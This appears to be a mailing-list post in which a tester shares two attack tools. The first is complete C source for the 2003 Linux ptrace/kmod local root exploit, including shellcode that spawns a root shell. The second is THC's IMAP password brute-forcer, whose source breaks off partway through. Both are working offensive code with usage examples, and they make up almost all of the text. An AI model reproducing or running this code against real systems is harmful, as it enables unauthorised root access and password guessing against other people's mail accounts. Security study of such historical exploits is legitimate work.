check this.
This exploit work on my Debian woody 3.r1 and get root .
May be that script is instrument .
Thanks,
--
ADIC Ukraine
Slawa Mukha
Software tester
phone: 380.044.568.50.89
email: vmukha@adic.kiev.ua
/*
* Linux kernel ptrace/kmod local root exploit
*
*
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
Tool source:
/*
* IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
* I had this one running with 30 passwords / second (100 parallel connections)
* against a single server and it did not even appear in top.
*
* Visit us -- your enemies already did.
* http://www.thc.org - THE HACKERS CHOICE
*
* gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
*
* SSL support for dummies:
* stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
*
* Example: (Brute 40 in parallel)
* ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
*/
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
struct peer_str
{
char password[64];
char buf[256];
int sox;
int read;
char flags;
time_t time;
};
#define FL_CONNECTED (0x01)
#define FL_HEADERREAD (0x02)
#define ERREXIT(a...) do { \
fprintf(stderr, "%s:%d ", __func__, __LINE__); \
fprintf(stderr, a); \
exit(-1); \
} while (0)
static char g_flags;
#define FL_FINISHED (0x04) /* wordlist finished */
static unsigned short g_port;
static unsigned int g_ip;
static char *g_login;
static unsigned int g_parallel;
time_t time_now;
static fd_set g_rfds, g_wfds;
static unsigned int cracks;
static char *g_passwd;
static int n_peers;
struct peer_str peers[1024];
static unsigned int
hostname(char *host)
{
struct hostent *he;
int ip;
if ( (ip = inet_addr(host)) != -1)
return ip;
if ( (he = gethostbyname(host)) == NULL)
return -1;
if (he->h_length != 4)
return -1;
return *(int *)he->h_addr;
}
int tcp_socket_connect(unsigned int ip, unsigned short port)
{
int fd;
struct sockaddr_in addr;
int i;
if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
return -1;
memset(&addr, 0, sizeof addr);
addr.sin_family = PF_INET;
addr.sin_addr.s_addr = ip;
addr.sin_port = port;
if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
{
close(fd);
return -1;
}
i = i;
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
return fd;
}
static void
usage(void)
{
fprintf(stderr, ""
"imap-bruter [rlpn]\n"
"Options:\n"
" -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
" -p <port> - Port imapd runs on. [default: 143]\n"
" -l <login name> - Login name\n"
" -n <parallel> - Number of parallel connections.\n"
"Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
"");
exit(0);
}
static void
do_getopt(int argc, char *argv[])
{
int c;
g_port = 143;
g_parallel = 5;
while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
{
switch (c)
{
case 'r':
g_ip = hostname(optarg);
break;
case 'l':
g_login = strdup(optarg);
break;
case 'p':
g_port = atoi(optarg);
break;
case 'n':
g_parallel = atoi(optarg);
break;
default:
usage();
break;
}
}
if (g_ip == -1)
{
fprintf(stderr, "Unknown host!\n");
usage();
}
if (!g_login)
usage();
if (g_parallel <= 0)
usage();
}
static void
peer_clear(struct peer_str *p)
{
if (p->sox >= 0)
close(p->sox);
p->sox = -1;
p->read = 0;
p->flags = 0;
/* Keep 'password' as it has not yet been processed */
n_peers--;
}
static int
do_readpwd(struct peer_str *p)
{
char *ptr;
if (g_flags & FL_FINISHED)
return -1;
cracks++;
memset(p->password, 0, sizeof p->password);
if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
return -1;
g_passwd = p->password;
ptr = strchr(p->password, '\n');
if (ptr)
*ptr = '\0';
return 0;
}
/*
* Socket ready for reading. Read line.
*/
void
do_read(struct peer_str *p)
{
ssize_t n;
char *ptr;
char buf[1024];
n = read(p->sox, p->buf + p->read, sizeof p->buf - p->r
Reply to: